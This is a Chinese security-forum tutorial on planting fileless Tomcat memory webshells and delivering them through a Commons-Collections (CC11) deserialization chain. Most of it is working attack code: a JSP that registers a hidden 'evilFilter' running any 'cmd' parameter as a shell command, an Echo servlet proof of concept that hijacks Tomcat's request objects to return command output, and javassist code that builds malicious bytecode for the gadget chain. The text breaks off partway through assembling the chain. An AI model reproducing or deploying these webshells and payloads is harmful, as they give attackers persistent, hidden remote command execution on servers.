Java安全优化:无文件Tomcat内存马结合CC链注入技巧”

Tomcat内存马基础可以看我的上一篇:https://www.0kai0.cn/?p=240

前言-fliter等内存马局限

具体新建servlet的过程:

https://blog.csdn.net/gaoqingliang521/article/details/108677301

新建一个servlet:package org.example;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(“/servlet”)
public class servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{
resp.getWriter().write(“hello servlet”);
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
}
}

配置tomcat:应用程序上下文表示http访问servlet的地址,这里就是localhost:8080/servlet。

图片[1]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛
图片[2]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛

自定义的filter:import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

public void init(FilterConfig filterConfig) throws ServletException {
System.out.println(“Filter 初始化创建”);
}

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println(“执行过滤操作”);

filterChain.doFilter(servletRequest,servletResponse);
}

public void destroy() {}
}

修改web.xml,指定url-pattern为/demo,也就是访问

http://localhost:8080/servlet/demo时触发filter,一直刷新一直触发。<?xml version=”1.0″ encoding=”UTF-8″?>
<web-app xmlns=”http://xmlns.jcp.org/xml/ns/javaee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd”
version=”4.0″>

<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.filterDemo</filter-class>
</filter>

<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>

</web-app>

分析之前在项目结构->模块->依赖里导入tomcat/lib的包。

Filter内存马代码:// filterTrojan.jsp
<%@ page import=”java.lang.reflect.Field” %>
<%@ page import=”org.apache.catalina.core.ApplicationContext” %>
<%@ page import=”org.apache.catalina.core.StandardContext” %>
<%@ page import=”org.apache.catalina.core.ApplicationContextFacade” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterDef” %>
<%@ page import=”java.io.IOException” %>
<%@ page import=”java.io.InputStream” %>
<%@ page import=”java.util.Scanner” %>
<%@ page import=”java.util.Map” %>
<%@ page import=”java.lang.reflect.Constructor” %>
<%@ page import=”org.apache.catalina.core.ApplicationFilterConfig” %>
<%@ page import=”org.apache.catalina.Context” %>
<%@ page import=”org.apache.tomcat.util.descriptor.web.FilterMap” %>
<%@ page contentType=”text/html;charset=UTF-8″ language=”java” %>

<%
Field appContextField = ApplicationContextFacade.class.getDeclaredField(“context”);
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField(“context”);
standardContextField.setAccessible(true);

ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter(“cmd”) != null) {
boolean isLinux = true;
String osTyp = System.getProperty(“os.name”);
if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{“sh”, “-c”, request.getParameter(“cmd”)} : new String[]{“cmd.exe”, “/c”, request.getParameter(“cmd”)};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter(“\\A”);
String output = s.hasNext() ? s.next() : “”;
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}

};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(“evilFilter”);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

Field filterConfigsField = StandardContext.class.getDeclaredField(“filterConfigs”);
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put(“evilFilter”, filterConfig);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(“/*”);
filterMap.setFilterName(“evilFilter”);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

out.println(“Inject done”);
%>

先访问一遍jsp文件,就能在pattern任意路径带上参数RCE。

图片[3]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛
图片[4]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛
图片[5]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛

Tomcat回显

而且根据不同的封装,jsp都内置了不同的获取request和response的方法。比如filter可以用ServletRequest获取;Listener用ServletRequestEvent获取;Servlet用HttpServletRequest获取;valve管道更是直接使用request和response对象。所以不用考虑回显问题。

但是反序列化通用的是注入字节码,要进行回显就需要获取request和response对象。

ApplicationFilterChain的lastServicedRequest 和 lastServicedResponse 都是静态变量。如果不是静态变量,还需要获取到对应的对象,才能获取到变量。

在ApplicationFilterChain的static部分,static部分都是优先执行。ApplicationDispatcher.WRAP_SAME_OBJECT默认False,所以lastServicedRequest/lastServicedResponse初始化为null。

图片[6]-Java安全优化:无文件Tomcat内存马结合CC链注入技巧”-山海云端论坛

Class applicationDispatcher = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”);
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField(“WRAP_SAME_OBJECT”);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//由于private,设置为可修改
Field f0 = Class.forName(“java.lang.reflect.Field”).getDeclaredField(“modifiers”);
f0.setAccessible(true);//获取modifiers进行去除final修饰符
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

如果使用了final修饰,而没有使用static修饰,可以调用setAccessible(true)获得修改权限,或者修改Modifier,去除final修饰符;如果同时使用了static和final,则只能通过修改Modifier去除final修饰符来获取修改权限;

去除final修饰符。WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL

lastServicedRequest/lastServicedResponse也需要去除final才能进行修改。Class applicationFilterChain = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”);
Field lastServicedRequestField = applicationFilterChain.getDeclaredField(“lastServicedRequest”);
Field lastServicedResponseField = applicationFilterChain.getDeclaredField(“lastServicedResponse”);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

将WRAP_SAME_OBJECT_FIELD设置为true,并传入初始ThreadLocal进行初始化WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());

POC://Echo.java
package org.example;

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

@WebServlet(“/echo”)
@SuppressWarnings(“all”)
public class Echo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Class applicationDispatcher = Class.forName(“org.apache.catalina.core.ApplicationDispatcher”);
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField(“WRAP_SAME_OBJECT”);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
// 利用反射修改 final 变量 ,不这么设置无法修改 final 的属性
Field f0 = Class.forName(“java.lang.reflect.Field”).getDeclaredField(“modifiers”);
f0.setAccessible(true);
f0.setInt(WRAP_SAME_OBJECT_FIELD,WRAP_SAME_OBJECT_FIELD.getModifiers()& ~Modifier.FINAL);

Class applicationFilterChain = Class.forName(“org.apache.catalina.core.ApplicationFilterChain”);
Field lastServicedRequestField = applicationFilterChain.getDeclaredField(“lastServicedRequest”);
Field lastServicedResponseField = applicationFilterChain.getDeclaredField(“lastServicedResponse”);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
f0.setInt(lastServicedRequestField,lastServicedRequestField.getModifiers()& ~Modifier.FINAL);
f0.setInt(lastServicedResponseField,lastServicedResponseField.getModifiers()& ~Modifier.FINAL);

ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(applicationFilterChain);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(applicationFilterChain);

String cmd = lastServicedRequest!=null ? lastServicedRequest.get().getParameter(“cmd”):null;

if (!WRAP_SAME_OBJECT_FIELD.getBoolean(applicationDispatcher) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(applicationDispatcher,true);
lastServicedRequestField.set(applicationFilterChain,new ThreadLocal());
lastServicedResponseField.set(applicationFilterChain,new ThreadLocal());
} else if (cmd!=null){
boolean isLinux = true;
String osTyp = System.getProperty(“os.name”);
if (osTyp != null && osTyp.toLowerCase().contains(“win”)) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{“sh”, “-c”, cmd} : new String[]{“cmd.exe”, “/c”, cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter(“\\A”);
String output = s.hasNext() ? s.next() : “”;
Writer writer = lastServicedResponse.get().getWriter();
writer.write(output);
writer.flush();
}

} catch (Exception e){
e.printStackTrace();
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
}

利用lastServicedRequest.get()获取request请求,将结果写入lastServicedResponse进行回显。

CC注入Tomcat

上面的测试是事先服务器就写好了POC也就是Echo类。但通常漏洞入口点是反序列化,而不能直接写文件。

根据目标服务器的CC版本,可以使用不同的反序列化链进行注入。而注入字节码一般是最通用的。

用到字节码的CC链,CC11的限制很少。

版本限制:CommonsCollections3.1-3.2.1 JDK无版本限制。

cc11(可跳过直接用POC)

利用链:java.io.objectInputstream.readObject() ->
java.util.Hashset.readobject() ->
java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()
… templates gadgets …
java.lang.Runtime.exec()

该链最后通过InvokerTransformer调用newTransformer加载恶意字节码。最开始初始化随便传入一个方法,最后通过Field#set修改transform为newTransform。这是为了避免在反序列化过程中其他地方提前触发了链。InvokerTransformer transformer = new InvokerTransformer(“asdfasdfasdf”, new Class[0], new Object[0]);

利用javasist动态生成恶意字节码:// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass(“Cat”);
String cmd = “java.lang.Runtime.getRuntime().exec(\”calc\”);”;
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = “EvilCat” + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField(“_bytecodes”);
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField(“_name”);
f0.setAccessible(true);
f0.set(templates,”name”);

f0 = templates.getClass().getDeclaredField(“_class”);
f0.setAccessible(true);
f0.set(templates,null);java.util.HashMap.put() ->
java.util.HashMap.hash() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.hashcode() ->
org.apache.commons.collections.keyvalue.TiedMapEntry.getvalue() ->
org.apache.commons.collections.map.LazyMap.get() ->
org.apache.commons.collections.functors.InvokerTransformer.transform() ->
java.lang.reflect.Method.invoke()

都是CC6的内容。实例化TiedMapEntry并将生成的恶意字节码传入,得到tiedmap恶意类。HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);

© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容